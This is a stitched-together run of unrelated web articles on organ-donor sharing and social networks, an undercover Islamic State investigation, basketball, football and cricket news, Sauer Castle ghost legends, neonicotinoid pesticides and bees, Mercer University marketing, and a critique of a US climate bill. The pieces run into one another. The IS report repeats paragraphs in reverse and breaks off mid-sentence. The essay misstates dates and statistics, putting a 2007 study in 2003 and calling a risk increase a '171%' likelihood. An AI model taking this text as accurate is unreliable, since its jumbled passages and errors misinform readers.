Behavior change is far from simple; it requires repetition. Within the clustered network frame, social behavior is regarded as a complex contagion, requiring multiple points of contact before "infection" can occur. In 2003, researchers Nicholas Christakis and James Fowler gave us a good example of the power of clustered networks by tracing obesity, smoking cessation, and happiness through the Framingham network—a fortuitous byproduct of a medical study that collected information on personal contacts, which allowed the participants' social networks to be mapped years later, and for researchers to trace the spread of certain behaviors. Christakis and Fowler found that:
If a person became obese, the likelihood his friend would also become obese was 171%.
When smokers quit, their friends are 36% more likely to also quit. (Although this effect diminishes as the separation between contacts grow, and loses its efficacy at four degrees of separation.)
Happy friends increased the likelihood of an individual being happy by 8%.
Framingham demonstrated that your contacts matter and that what they do is of great importance. Our networks help us establish a sense of what's acceptable—right down to expanding waistlines. The more social reinforcement we receive that certain actions are appropriate, the more likely we are to adopt those actions ourselves.
Facebook is clearly a clustered network. Part of the work done by Christakis and Fowler was to reproduce the measure of happiness in the Framingham network with a Facebook sample, and the results were strikingly similar. So if people start sharing their status as organ donors, it helps normalize the behavior, and minimizes the damaging effect of the misconceptions that hinder sign-ups. Peer pressure, in this form, can be powerful. It can convince you to do things you might not otherwise consider because you're afraid or it goes against what you think believe. Peer pressure can shift the social mindset.
But it's still peer pressure. And haven't we been taught that this is a negative thing?
There's already been an article asking why Mark Zuckerberg hasn't indicated that he's an organ donor. Should he have to? Or will he have to in order to be accepted? Silly question? Replace Zuckerberg with Joe Smith or Jane Doe and ask it again. How will we view people who fail to publicly comply with a greater social norm of the network? Do we freeze them out?
This is different from sharing a political or religious affiliation or music group or favorite because it's a status that's meant to cross boundaries. While very few people will argue that becoming an organ donor is a bad thing, it still remains a choice, and now it's become a choice that we can be judged on. For example, in the Framingham study smokers mingled freely with nonsmokers in 1971 and they were distributed evenly throughout the network. However, by 2001 as groups of smokers quit, those who persisted were socially isolated. What if we required people to list their status as smokers or non-smokers—how would our networks shift as a result of this information?
If organ donor status becomes a part of the basic set of information a person can share on Facebook—it's not, but let's consider the possibility—how would this missing piece of information color your interaction? Does it frustrate you to not know this bit about your connection? Will you think twice about connecting with them? And if it's not the organ donor status that does it, then what will? Knowing whether the person was bullied or was a bully as a child? Whether he as high blood pressure?
At the very least, this allows a community of donors who might not have otherwise known each other to find and connect with others who have made this very important commitment. This is a concerted effort to harness the potential power of a clustered network. Still, it's not a network that exists in isolation. There's no telling what will happen as a result of making this information public and no telling how far it will actually reach, but the impact of external factors, such as media attention, on network behaviors can't be discounted. We'll just have to watch and see. In the meantime, do you plan to share your status as an organ donor?
Have something to say? Comments have been disabled on Anthropology in Practice, but you can always join the community on Facebook.
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Notes:
1. Unfortunately, I couldn't find the original survey that I had linked when I previously discussed these data, but you can view the original press release with the stats above here (pdf).
Referenced:
Centola, D. (2010). The Spread of Behavior in an Online Social Network Experiment Science, 329 (5996), 1194-1197 DOI: 10.1126/science.1185231
Christakis, N., & Fowler, J. (2007). The Spread of Obesity in a Large Social Network over 32 Years New England Journal of Medicine, 357 (4), 370-379 DOI: 10.1056/NEJMsa066082
Christakis, N., & Fowler, J. (2008). The Collective Dynamics of Smoking in a Large Social Network New England Journal of Medicine, 358 (21), 2249-2258 DOI: 10.1056/NEJMsa0706154
Rosenquist, J., Fowler, J., & Christakis, N. (2010). Social network determinants of depression Molecular Psychiatry, 16 (3), 273-281 DOI: 10.1038/mp.2010.13
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Spin Cycle: The Social Realm of the LaundromatAfter infiltrating the group's "cyber caliphate," the reporters are said to have made contact with "two major players" responsible for training some of those believed to be in Britain.
By posing as a male and female wannabe jihadists on Twitter and in chatrooms, the investigators said they "gained a disturbing new insight into the extremists' tactics."
Fictional jihadists created by Sky News and a freelance journalist were reportedly sent terror guidebooks by senior jihadists in Syria, including advice on bomb-making handbooks and information on upcoming domestic terror plots in the UK.
An undercover investigation has claimed that IS already has a number of bombers in the UK and that one potential plot involves this Saturday's VJ commemorations in a targeted attack against Britain's royal family.
In an apparent shift in tactics, the so-called Islamic State (IS) group has reportedly urged British jihadists to carry out "lone wolf" attacks in the UK instead of traveling to fight in Syria.
Read more
In an apparent shift in tactics, the so-called Islamic State (IS) group has reportedly urged British jihadists to carry out "lone wolf" attacks in the UK instead of traveling to fight in Syria.
An undercover investigation has claimed that IS already has a number of bombers in the UK and that one potential plot involves this Saturday's VJ commemorations in a targeted attack against Britain's royal family.
Fictional jihadists created by Sky News and a freelance journalist were reportedly sent terror guidebooks by senior jihadists in Syria, including advice on bomb-making handbooks and information on upcoming domestic terror plots in the UK.
By posing as a male and female wannabe jihadists on Twitter and in chatrooms, the investigators said they "gained a disturbing new insight into the extremists' tactics."
After infiltrating the group's "cyber caliphate," the reporters are said to have made contact with "two major players" responsible for training some of those believed to be in Britain.
The first was Junaid Hussain, a 21-year-old hacker-turned-jihadist from Birmingham, who runs IS' information and recruitment arm from Syria.
His wife, Sally Jones, who is a British convert to Islam and deals with recruiting female IS supporters, reportedly asked the female fictional jihadist what she wanted to do in the UK: to cut a head off or blow up a bomb. Jones then gave the reporters instructions on how to construct a bomb.
Stuart Ramsay, Sky's Chief Correspondent also travelled to the Turkish city of Urfa, close to the Syrian border, where he met with a former IS internal security officer.
The man claimed that "four or five" British men have spent six weeks on a series of terror courses and have now returned to the UK on a "mission." He said the attacks would involve |
Carroll said at the NFL meetings this week that the team hopes to re-sign Jackson.
“We really liked his contributions and he’s been a big factor for us and we would like to have him back if we could,’’ Carroll said.
Earlier this year, Carroll said he likes having a veteran in that role.
As the tweet from ESPN below shows, there aren’t a ton of veteran options left — and one thing to consider when assessing Jackson is the experience he has with the team and the respect he has in the locker room (here’s a more extensive list of free agent QBs, which makes it clear there’s really no option that on paper is better than re-signing Jackson).
Seattle could look to the draft. But the Seahawks undoubtedly wouldn’t use too high of a pick for a player likely to be a backup. But given the high visibility of quarterbacks, it’s a fun parlor game to wonder if this might be the year the Seahawks would look to take someone at that spot in the later rounds (Seattle hasn’t drafted a QB since taking Wilson in 2012) and might cast their eye at one of the QBs with West Coast ties, such as Oregon’s Vernon Adams, USC’s Cody Kessler or Stanford’s Kevin Hogan, all generally regarded as mid-to-late-round picks.
Sims is best-known for being a highly-touted high school QB who signed with Alabama and was the backup for the Tide in 2010-11 before transferring to Virginia and then to Winston-Salem State.
“Hoping he can add to the competition,’’ Carroll said. “He’s playmaker and a guy with a really strong arm and would like to see how he fits in.’’It’s not that Chris Bosh abhors social interaction, and it’s not that he’s bad at it either. He just would rather be alone most of the time.
His favorite days on the road are the ones when he’s by himself in his hotel room.
He prefers solitary pursuits.
Bosh spends pretty much every pregame with his face in a book, and his favorite hobby is computer programming.
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When he went to Brazil this preseason, the Heat’s All-Star center spent more time with his family than his teammates. For example, he and his wife visited Christ the Redeemer at dawn. The team toured the giant statue of Jesus overlooking Rio de Janeiro at dusk.
And then there was the 2010-11 season, that rock-star spectacle when Bosh and LeBron James first joined Dwyane Wade in Miami. It was clear early on how Bosh fit into the Heat’s superstar trio. He didn’t. The Super Friends Tour was a two-person act with James and Wade at the podium every night.
Bosh was comfortable by himself.
A lone wolf
By nature, he is a lone wolf, and one of the more private players in the NBA. By necessity, he needs to be a vocal leader this season and unifier in the locker room. He’s aware of the disconnect, and that’s a good first step.
Is it easy for Bosh, the Heat’s franchise player, to communicate with people?
“Naturally, no,” Bosh said Monday, two days before from the Heat’s season opener. “It’s easier for me — I like spending time by myself.”
Behind the scenes and in the Heat’s locker room, filling the leadership void created by James’ departure to Cleveland is one of the bigger concerns facing the team entering the season.
In addition to doing a little bit of everything during games, James was also a powerful voice off the court for the Heat.
James is a natural-born leader, and while there are still plenty of lieutenants on the Heat’s team this season, a four-star general — someone who is going to lead the team in minutes played, defense, scoring and nightly swagger — hasn’t been commissioned.
Bosh doesn’t need to be James for the Heat to be successful this season, but he knows he needs to discover his own unique way to motivate and inspire.
“It has been a challenge,” Bosh said. “I can’t duplicate what he did. … He was a great leader, he is a great leader; guys following him easily,” Bosh said. “I’m trying to put my own spin on it and bring my own personality to it, and that has been a difficult journey for me, but I’m learning every day.
“I’m trying to make sure I personally talk to guys all the time and just take pointers from other people and see how I can bring all that to the table.”
He’s trying, and his heart seems in it. Maybe that’s enough.
“I force myself to talk every day,” Bosh said. “It’s not easy. It’s something that I always, always work on. My wife pushes me every day to work on that stuff. There is no hiding for me, so I might as well get it over with and talk and be social.”
Perspective is needed, of course.
If Bosh averages 27 points and 12 rebounds per night this season it’s not going to much matter who he does or doesn’t talk to in the locker room.
When the Heat begins the season Wednesday at home game against the Washington Wizards, Bosh will not be the only leader on the team. If he can lead statistically, maybe Wade and Udonis Haslem, the team’s co-captains, can worry about the rest.
Before the first day of training camp, Wade stood in front of his teammates — new and old — and gave an impassioned speech about opportunity and attitude and, inherent in any conversation that early in the process, Life After LeBron.
Wade looked in his teammates eyes. He reassured those who struggled in the 2014 postseason and introduced the newcomers to the Heat’s culture.
“I just wanted them to hear my voice as a leader and one of the faces of this franchise on that first day just to set the tone of it being a different year, and a different opportunity for a lot of guys in this locker room,” Wade said. “We knew it was going to be tough. We knew it wasn’t going to happen overnight.”
Most importantly, Wade and Haslem began preparing everyone for a different type of regular season than the final 82-game set with James.
“We got to work for everything, and I’m fine with that. I’m happy with that,” Haslem said. “I think that builds character, and that’s going to bring us closer together and that’s just going to prepare us for the next journey when we get to the playoffs.”
The Heat coasted through 2013-14 regular season and it wasn’t exactly the healthiest type of six-month joyride.
If James is going to be praised here for a being a great leader, he’s also going to be rightly criticized for retreating into a shell at times last season.
James set a terrible tone defensively most nights as the days and months dragged on until the start of the playoffs.
By the end, the Super Friends pact was sketchier than summer air conditioning in San Antonio.
Filling the void
With James now gone and Wade something of an unknown quantity — “My impact is going to be what my impact is going to be,” Wade said Monday. — it’s on Bosh to lead the franchise. If nothing else, it won’t be boring until April.
After declaring on Monday that he needs to be an animal on the court this season, Bosh was asked a fanciful question: If he were an animal, what animal would he be?
“A werewolf,” Bosh said. “Sometimes it’s good to be the hunter and not the hunted.”4
Sauer Castle has been a part of my life since I was a kid. My dad used to take me and my siblings up to the castle at night on family drives and tell us great ghostly stories. Once me and my school buddies could drive, we would make many journeys up to this area, drink and freak ourselves out. I've taken many friends on the drive through Argentine in KCK up the steep incline of a road to the castle to gaze. There are many stories about this place, so many that I have no idea which are true and which are not. I should do the research to find out, but there is something inside of me that wishes to keep *all* the stories I have heard alive and well. But the few that I can think of at this time include: There was an underground railroad tunnel to the Kaw River from this residence. The wife hanged herself on the second story balcony from the bell tower rope.....her ghost could be seen on the balcony in a flowing white gown. There is an outline of an old pond (fountain) on the grounds that two children had drown in. The stories talk about the husband's ghost walking the house and grounds protecting his property. I've been told that the stones and woodwork in the house was imported from Germany. He chose this site because it sat on top of bluff of the Kaw River and he could see the entire city. That's what I've been told through the years, again, I don't know what is and isn't true. When I was a teenager there was a caretaker that lived in the house. He supposedly had guns and dogs to help him take care of all of the curious people making the pilgrimage up to look at the castle from afar or up on the *private property* itself. Since then, the caretake has passed, the house had a huge auction and the house in now surrounded by a chain link fence. I don't know who owns it, but I hope something great happens with this legend of a castle. I'm sure I gave myself crows feet from all of the squinting I've done at this location hoping to see a ghostly figure. (and at times sure that I did see things) I'm sure I've given myself some anxiety disorder from the tricks my imagination has played on me because of this place. I wouldn't change a thing because I love every memory I have of this place. Not only Sauer Castle, but much of the neighborhood itself, stories run rampant in this *interesting* part of town. Now.....go! Go check it out for yourself and I hope you don't get lost in trying to find this mysterious, fantastic piece of local flavor!
Sauer Castle is in the National Register of Historic Places, it's a Kansas City must-see if you've never taken the haunting trip to the top of the bluff where this mansion sits undisturbed for decades. In high school, from Miege to St. Teresa's Academy, crossing state lines, the rumors about Sauer were EPIC and very popular to tell around Halloween. Sauer castle is haunted, according to the ghostly experts and as the story goes... During the Civil War a man leaves his wife to go fight. She waits for him for years, longing for his return and reading his infrequent letters home. Towards wars end, she receives his final letter stating that he is coming home on a certain day on a certain ferry and requesting that she wait for him. When he never arrived, she believed he was dead and frenzied, she hung herself in the infamous bell tower. Her husband, alive, missed his ferry home and later arrived to find his wife dead. It is said that in the front yard he shot himself. Sauer Castle was built by the German immigrant Anton Sauer and has remained in the family for 5 generations - in which the castle has seen many more deaths of natural and unnatural causes. Legend has it that treasure is buried here (however sources say this rumor began from the original fact that the house was built over an antique storage of wine.) Other legends include there is a secret tunnel leading to the Kaw River (others distort this rumor to make it a slave tunnel), or that the ghost of Mary Sauer stands in the windows of the fourth floor looking out onto her property at night. There was a man who died of tuberculosis here, a baby died as well within these walls, and a child was drown. Perhaps what solidified its eerie persona is the foreboding sign in the front that reads: PRIVATE PROPERTY, TRESPASSERS WILL BE PROSECUTED! BEWARE OF DOGS! Here's where I come into the story: I was young and stupid, it was a boring Friday night and my friends and I thought it would be something to talk about on Monday if we somehow got into Sauer Castle and checked out if it were haunted for ourselves. With my two other good friends, we set out on the property while two other friends waited in the car for our return. What we weren't aware of was that three guard dogs that could have well ripped me apart were stationed around the house. I was only cognizant of one, chained to a large radius of land towards the front of the house, but in truth there were two more. We steered clear of this one dog and kept to the side of the house until we came upon the old slave quarters behind the property. It was here we saw a small window opening to the basement of Sauer Castle...STUPID, STUPID me...I went in (after my two friends.) And what we saw was no different than the last scene of the Blair Witch Project, an empty stone basement with nothing in it but AN ACTUAL STONE WELL in the very center...creepy as all hell. That's when we saw the caretaker with a flashlight and rifle coming towards us. My two dear 'friends' climbed out of there first leaving me with no cell phone light, no knee to climb on. I had to scratch my way up with them pulling on my arms as I had been entirely alone in Sauer Castle. Finally, the three of us hauled ass to the car and sped off before we were caught as trespassers and prosecuted!!! Oh, what a night...something I will NEVER do again and a story I will NEVER forget. Is Sauer Castle haunted? From the fright of feeling trapped in the stone basement with nothing beside me but an old well...I would say yes.Leicestershire have been hit by a 16-point penalty and seen their captain suspended on the eve of the County Championship season.
The club were punished following an incident in which their veteran seamer Charlie Shreck was found to have used obscene language or gestures in the match against Loughborough MCCU last week after being reported by umpires Steve O'Shaughnessy and James Middlebrook.
That meant the club had been penalised five times within 12 months resulting in a one-match suspension for Mark Cosgrove as he has been the captain on all five occasions.
Cosgrove's one-match suspension will apply to the Specsavers County Championship match between Leicestershire and Glamorgan which starts on April 21, pending any appeal which may be lodged.
On the eve of the Championship season, Leicestershire therefore became the second county tin the second division to begin the summer with a points deduction. Durham start on minus 48 after a financial bale-out by the ECB in October came with points deductions and relegation as a warning to other counties not to turn to the governing body as the lender of last resort.
Leicestershire were also fined £5,000 with a further suspended penalty of eight points, to be imposed if cricketers playing for the county incur a further two Fixed Penalty breaches in any competition within a period of 12 months from the date of the hearing.
While the ECB's disciplinary panel - chaired by Tim O'Gorman, alongside Mike Smith and Anita George JP - noted that the club has taken internal action against Shreck by suspending him for two games, they also concluded that "actions taken by the club since the previous Disciplinary Panel Hearing have not been effective."
"It's a harsh penalty, but we have to accept it," Wasim Khan, the club's CEO, told ESPNcricinfo. "I think the ECB are probably trying to make an example of us on the eve of the season and to have three different sanctions does seem harsh.
"But we can't moan as we have no one to blame but ourselves. We've had 10 breaches in three years and this shows that we haven't learned our lessons.
"We will look at our internal policies and we will stamp this out.
"We were going into this season with high hopes and this will make the club suffer. A tough season just became a lot tougher."
Cosgrove responded on BBC Radio Leicestershire: "You play hard cricket and sometimes it boils over. This is a big punishment for us, it hurts the boys bad. Hopefully, we can learn and get better. We have to be disciplined. If we don't learn now, I'm not sure we ever will.
"Charlie is very disappointed and apologetic. He overstepped the mark. We've got to take it and move on."Beekeepers have long felt pesticides were to blame for colony collapse disorder, but culpability was difficult to prove – until now
In July 1994, French beekeepers reported that their honeybee population had displayed strange, agitated behaviour and had "melted away". "Mad bee disease," as it quickly became known, was thought to have caused the death of 40% of bee colonies and beekeepers looking for an explanation for the catastrophe began pointing the finger at a new type of pesticide.
Systemic pesticides are those that are transported in the sap of a plant from the seed up through the stem into the leaves and flowers. Here, they contaminate nectar and pollen and hence any insect that picks them up – including bees.
Since then, imidacloprid and other neonicotinoid systemic pesticides, such as thiamethoxam, have been implicated in the worldwide collapse of honeybee colonies.
As well as being systemic, they act as a neurotoxin attacking an insect's nervous system on contact or ingestion and are designed to protect over 140 commercial crops, including cereals, oilseed rape, maize, cotton, sunflower and sugar beet.
any beekeepers believe the pesticides' presence at sub-lethal doses in nectar and pollen collected by foraging honeybees has wiped out bee populations.
David Hackenberg, the commercial US beekeeper credited with discovering the strange phenomenon known as colony collapse disorder, when he opened his 400 hives in Florida in 2006 to find his bees had disappeared, has always blamed systemic pesticides. And he is not alone. But until now their culpability has been difficult to prove.
Laboratory and semi-field studies in France and Italy have shown that imidacloprid can disorientate foraging bees and impair their memory and communication so that they don't return home with food and the colonies in the hive dwindle and die. But the pesticide's manufacturer Bayer, has always maintained that bees are given much higher doses in trials than they would come into contact with in the field.
In contrast, its own research concluded that Gaucho (an imidacloprid seed treatment) "caused neither a reduced visitation of flowers nor an increased loss of foraging honeybees" and found "no records of behaviourally impaired honeybees". It also argues that so many factors affect bee health, including parasites, viruses and malnutrition, that there is no one single assailant. Most scientists and governments around the world seem to share this view. They were quick to dismiss pesticides as the likely cause when colony collapse disorder hit the headlines in 2007 and resources were invested trying to discover new killer-bee viruses.
In France, Gaucho was banned on sunflower and corn seeds but large-scale bee deaths have continued, supporting Bayer's claims that its products aren't guilty of killing bees. But by then bees were coming into contact with another "neonic" thiamethoxam, manufactured by Syngenta. Italian apiarists accused the pesticide of massacring their bees and independent studies have shown it can adversely affect bees' flight behaviour.
A spokesman for Syngenta said: "Although we take good research very seriously, over the last four years, independent authorities in France have closely monitored the use of Cruiser – the product containing thiamethoxam – on more than 1.9m hectares. When properly used no cases of bee mortality have been recorded."
Yet it is only now, with the alarming results of these two new groundbreaking trials that expose honeybees and bumblebees for the first time to field-realistic sub-lethal levels of neonics that we can say with confidence what many beekeepers have instinctively known for years, that these pesticides do contribute to the death of bee colonies. It is a step nearer to revealing the truth of what is killing our vital pollinators and to what we can do to prevent their deaths.
Alison Benjamin is author of A World Without BeesEL SEGUNDO - The Los Angeles Lakers have signed rookie center Greg Somogyi and rookie forward Reeves Nelson, it was announced today. Per team policy, terms of the agreements were not released.
Somogyi, a 7-3 center out of UC Santa Barbara, played all four years for the Gauchos where he posted career averages of 3.5 points, 2.9 rebounds and 1.5 blocks in 12.2 minutes. Somogyi most recently played for the 2012 Lakers Summer League team where he averaged 1.2 points, 1.6 rebounds in 7.2 minutes.
Nelson, a 6-8 forward out of UCLA, was also a member of the 2012 Lakers Summer League team where he averaged 4.0 points and 5.3 rebounds in 16.3 minutes of play. Named to the All- PAC 10 first team following his sophomore year, Nelson played in 68 games for the Bruins averaging 12.1 points, 7.3 rebounds and 1.1 assists in 27.0 minutes.Mercer head coach Bobby Lamb leads the Bears football team onto the field in September 2015. Mercer's football program has only been around for four years, and people still don't know much about the school itself (outside of that hoops upset against Duke). So, its marketing department has come up with some creative ways to get relevant. This year's plan for National Signing Day involves the flashiest of flashy places: Times Square in New York City. (Photo11: Bill Hirsch, Mercer University Media Relations)
Editor's note: Due to the shooting death of Mercer basketball player Jibri Bryan on Tuesday night, the university has decided to postpone its Times Square and billboard announcements of its football recruiting class. "We will announce our signees in Times Square and on billboards throughout the Southeast at a later date," Mercer associate athletic director Daniel Tate said in an email to USA TODAY Sports.
***
Mercer University is aware it is best known nationally for its upset against then-No. 3 seed Duke nearly two years ago in the NCAA tournament. It knows most people aren’t aware it has an FCS-level college football program, one it reinstated in 2013 after a hiatus that began in World War II.
So the Bears’ athletic department has worked hard to get the message out. Last year for college football’s National Signing Day, the school welcomed its new signees on digital billboards throughout the state of Georgia — a trend that larger schools like LSU are jumping on this year in their home states.
About a month ago, Mercer athletic director Jim Cole turned to associate athletic director Daniel Tate and his marketing team, assistant athletic director for digital media Lisa Cherry and sports information director Jordon Bruner and asked them a simple question: “You surprised me last year; what do you have this year?”
The answer was even more outside the box: Times Square.
Yes, the Macon, Ga., private school with an undergraduate enrollment of 4,570 is commandeering two giant video boards in the middle of New York City to celebrate its football signees on Wednesday.
“It’s kind of like when we beat Duke, everybody said: Who’s Mercer?” Cole told USA TODAY Sports. “We got a lot of press from that. There was some pressure after that to not lose that momentum.
“It’s, what can we do that separates us from everybody else?”
Said Tate: “Our goal this year was, let’s try something different that’s never been done before.”
The Times Square screens will not just highlight football, but also put the entire university on display.
“We’re realists,” Cole said. “We know we’re going to have a lot of people in Times Square look up and say, ‘Where’s Mercer?’ We’re going to tell you where are, what we’re about. Miss America this year is a Mercer student; we’ll have that up there. We’re going to tell you about our famous alumni. What we’re about academically. That’ll run, then our athletes.”
Mercer also will again promote its signees on local billboards again. All of it is part of a push to maintain momentum. Tate said enrollment at the university has increased each year since Mercer’s upset of Duke.
“We’re growing,” Tate said. “From our President to everyone around here, we know athletics can generate interest in our university. It’s a great way to show we’re a great option for prospective students.”
Cole said he believes the expected benefits and exposure outweigh the cost of paying for video boards in Times Square.
“When we started football four years ago, the main reason was to increase the exposure of our university,” Cole said. “We’ve got a great university. Really, nobody knew about it because if you don’t compete at a high level in sports, you don’t get that name recognition to attract students to the school. Football’s done well for us.”
PROJECTING THE 2016 TOP 25by
The global warming situation is absolutely crazy. Millions of people are already experiencing drought, famine, floods, wildfires, superstorms and other climate disasters. As a species, we are teetering on the edge of full-blown catastrophe, with extinction a distinct possibility. Yet, we can’t seem to put in place obvious solutions that are sitting right there in front of us.
Even crazier, environmentalists repeatedly praise Democrats for phony climate action plans that don’t come close to what’s needed.
Take the “100 by ‘50” legislation recently introduced by Oregon Senator Merkley and other Democrats. Environmental leaders lined up to celebrate this as the blueprint that will get us beyond global warming, even though it’s nothing of the sort. Some environmentalists used their endorsements to denounce Republicans for being funded by the fossil fuel industry, deftly ignoring the funding received by Democrats from that same industry. The message was clear: when we put Democrats back in power and pass a bill like “100 by ‘50”, we’ll be on our way to solving the climate crisis.
This is pure hogwash. The Democrats have kept us running in circles as the climate crisis has deepened. And although this new bill purports to get us to 100% clean and renewable energy by 2050—hence the catchy title—it almost certainly won’t do that. Yes, it is “the most ambitious piece of climate legislation Congress has ever seen”. But that’s only because prior offerings were so pathetic that “100 by ’50” seems ambitious in comparison.
It’s crucial that we understand this as Donald Trump and the Republicans move forward with their horrifying agenda. More than ever, we need to be uniting behind a real climate action plan and the broader vision for society it engenders. We need to be building a movement that has a clear understanding of where our power lies and how to use it.
“100 by ‘50”: Beyond the Sound Bites
According to 350.org founder Bill McKibben, “(i)nstead of making changes around the margins”, the “100 by ’50” legislation would finally commit America to “wholesale energy transformation.” If only this were true.
Continuing Fossil Fuel Production. Let’s start with the fossil fuel side of things. To address global warming, we must keep most of the remaining oil, gas and coal in the ground. The “100 by ’50” legislation doesn’t do that.
The bill does contain a “fossil fuel moratorium” of sorts. Beginning in 2021, the federal government would no longer be allowed to approve permits for new infrastructure: refineries, certain gathering lines and pipelines, export-import facilities, and fossil fuel-based electric generating facilities. The legislation does nothing, however, to end the use of existing infrastructure or to rescind all those lucrative permits and leases that fossil fuel companies already have. In fact, there isn’t even a moratorium on authorizing new fossil fuel exploration and extraction.
To grasp just how inadequate the “100 by ’50” moratorium is, we need to understand what happened over the last eight years. There’s some confusion on this subject because the same environmentalists now doing backflips over “100 by ’50” also lavished undeserved praise on Barack Obama for his supposed climate “leadership.” With Donald Trump now in office, they speak nostalgically of Obama’s “climate legacy” as if it were something to be proud of. But Obama and his Party have not been climate heroes. They’ve been climate destroyers.
Throughout his two terms in office, Obama avidly served the fossil fuel industry. He opened up vast new offshore areas for drilling, even in the wake of the BP nightmare. He delivered giant leases to coal corporations. Obama’s fracking rules were designed to reduce pollution at fracking sites “without slowing natural gas production.” And as fracking proliferated in the U.S., Secretary of State Hillary Clinton vigorously promoted it in other countries. Tens of thousands of miles of pipelines were constructed in the U.S. with Obama’s enthusiastic blessing.
Thanks to this agenda, production of oil and gas in the U.S. skyrocketed, reaching record highs under Obama. While coal production declined due to cheap natural gas prices and new power plant regulations, it is still massive. After all, coal is still being burned domestically, and shipping it abroad is profitable too. Speaking of exports, Obama ended the ban on crude oil exports, and paved the way for natural gas exports by approving liquid natural gas (LNG) facilities, among other things.
As a result of all this, vast quantities of greenhouse gases were pumped into the atmosphere under Obama’s Democratic Administration, bringing us closer to environmental catastrophe. Fossil fuel corporations also positioned themselves to continue flooding our world with fossil fuels for decades to come.
“New pipeline infrastructure should accommodate expected rise in Permian oil production,” a recent U.S. government article announced, referring to the Permian Basin of western Texas and eastern New Mexico. The same dynamics are at play elsewhere. Meanwhile, existing leases on federal land can sustain current coal production levels for 20 years. And LNG World News reported in January that,“[t]he U.S. is expected to become the world’s third-largest LNG supplier by 2020 with an export capacity of 60 million mt [metric tons] coming from five export terminals.” As a result of Obama Administration policies, the fossil fuel industry is sitting pretty. Corporate CEOs have every intention of making good on their investments.
In short, the “100 by ’50” moratorium on certain new infrastructure beginning in 2021 is way too little, way too late. The same is true of the bill’s elimination of the fossil fuel subsidies that corporations used to build their empires. Awash in riches, controlling game-over volumes of fossilized carbon, and equipped with massive infrastructure and distribution capabilities, fossil fuel corporations will undoubtedly keep on keeping on. Even without subsidies or additional infrastructure, they will, if allowed, continue their mission to pull every last bit of fossil fuel from the Earth.
Inadequate Promotion of Alternatives. So much for making sure corporations leave fossil fuels in the ground. What about the other things that need to happen to reverse course on global warming? What does “100 by ’50” do to reduce demand for fossil fuels and to deploy renewable energy alternatives? Again the answer is far too little, far too late.
The bill does include a couple of requirements:
* Electric suppliers must gradually reduce the percentage of electricity they provide from fossil fuels. The cap starts out at a whopping 70% in 2022 (many suppliers already do better than that right now) and finally ratchets down to 0% by 2050. Because the law regulates percentages of fossil fuel energy rather than emissions, increased consumption could undercut emissions gains, at least during the early years. The plan also allows nuclear energy to be used to meet the caps. And, credits are available enabling some electric suppliers to delay compliance. * In 2030, at least 30% of the vehicles produced in the U.S. must be zero emissions vehicles. By 2040, the percentage reaches 100. Offsets may be used by some manufacturers to slow the pace of compliance.
Big whoop! We have to wait 33 years—a full generation—to break free of fossil fuel-based electricity, and four years before unimpressive first steps towards that goal are mandated. We have to wait a quarter of a century for vehicle manufacturers to do what they could do now, and 13 years for them to be required to take initial small steps in that direction. These timelines are thoroughly inadequate.
Some experts say we could well reach the point of no return on global warming within the next decade; some believe we’re too far gone already. Others don’t consider humanity’s demise quite so imminent, but virtually everyone except climate deniers agrees that there is no time to waste. We need real progress against global warming now, not years from now.
To make matters worse, the requirements imposed on electric suppliers and vehicle manufacturers are the only actual enforceable mandates in “100 by ‘50” with respect to reducing demand for fossil fuels and expanding renewables. The legislation’s main emphasis is on extending tax credits and creating lots of new grant and loan programs. Various entities can use these tax credits, grants and loans to put up solar panels, increase energy efficiency, improve public transit, and more. In short, “100 by ’50” relies heavily on incentivizing needed actions instead of mandating them.
“100 By ’50”: A Recap. That’s it. That’s the grand plan for preventing climate Armageddon. A “moratorium” that doesn’t stop bloated fossil fuel corporations from continuing to flood our world with oil, gas and coal; two actual requirements related to promoting alternatives to fossil fuels that don’t kick in until well into the future, and apply to only two pieces of the global warming problem; and a laundry list of tax credits, grants and loans to incentivize investment in alternatives.
There is no attempt to demonstrate that the bill will lead to needed changes and actual emissions reductions. There is no attempt to establish that it will prevent climate disaster.
We’re just supposed to hope that everything works out satisfactorily. We’re supposed to have faith that renewable energy infrastructure will be put in place, energy efficiency improved, energy consumption reduced, and mass transit systems installed, at levels sufficient to displace fossil fuels. It’s treated as a given that the price of renewables will become so low that people will turn away from oil, gas and coal, and towards renewables—which could include deadly nuclear energy, by the way. It is implied that, in the absence of subsidies and faced with growing demand for alternatives, mammoth fossil fuel corporations will see the light and leave their vast caches of oil, gas and coal in the ground.
Pinning our hopes on all of this happening is madness. Clearly, there is much that could occur under the “100 by ‘50” plan to undercut its feeble attempt to prevent climate disaster. Moreover, we’ve had plenty of experience with this kind of plan already, and we know it doesn’t work.
The Same Old Same Old
“100 by ’50” is the same old same old that has characterized Democratic Party “leadership” on climate for a long time. Tax credits in the bill are merely extensions of ones that already exist. And we already have lots of grants and loans encouraging renewables. Total annual funding under “100 by ’50”—up to $150 billion per year—likely exceeds current funding for incentives, but it is nowhere near adequate for the task at hand. $150 billion per year is short shrift for humankind’s big stand against impending climate catastrophe.
Sponsors and supporters imply that the proposed legislation is on a par with what happened when the U.S. mobilized for World II, but that comparison is laughable. During the peak years of that conflict, war outlays exceeded 40% of the nation’s Gross Domestic Product (GDP.) In contrast “100 by ‘50” allocates a maximum of $150 billion per year, which is less than 1% of the GDP.
I recall people telling me at least 15 years ago that we were on the verge of an energy revolution because the price of solar cells was rapidly declining. Any day now, they claimed, solar and other renewables would take off, replacing deadly energy sources. That hasn’t happened.
Sure we’ve made some gains, but they’ve been grossly insufficient. Environmentalists and others have made much of exponential growth in solar, wind and other renewable technologies. But even after big increases, these technologies represent only a tiny percent of our total energy use. In 2016 wind produced only 5.6 % of the electricity in the U.S. Solar energy produced less than 1%.
And guess what? Even if we deploy more renewables, and even if the percent of energy coming from renewables increases, that doesn’t necessarily mean we make progress on climate. If vast fossil fuel burning continues, it doesn’t matter that there’s also more renewably produced energy. We’re still fried.
Greenhouse gas emissions in the U.S. remain depressingly high even after years of incentivizing renewables. There have been recent downturns in our emission volumes, but we’re nowhere near achieving the substantial reductions that are needed. Moreover, downturns could have more to do with economic conditions than deliberate policy. And the emissions reported for the U.S. significantly understate our actual carbon footprint. The U.S. exports fossil fuels which are burned elsewhere. We import lots of products from China and elsewhere, and the emissions associated with their production are not included in U.S. figures.
Global greenhouse gas emissions have risen steadily for decades. So has the concentration of greenhouse gases in the atmosphere. The goal of returning to 350 parts per million (ppm) of CO 2 now seems almost quaint. In 2016, we never dipped below 400 ppm.
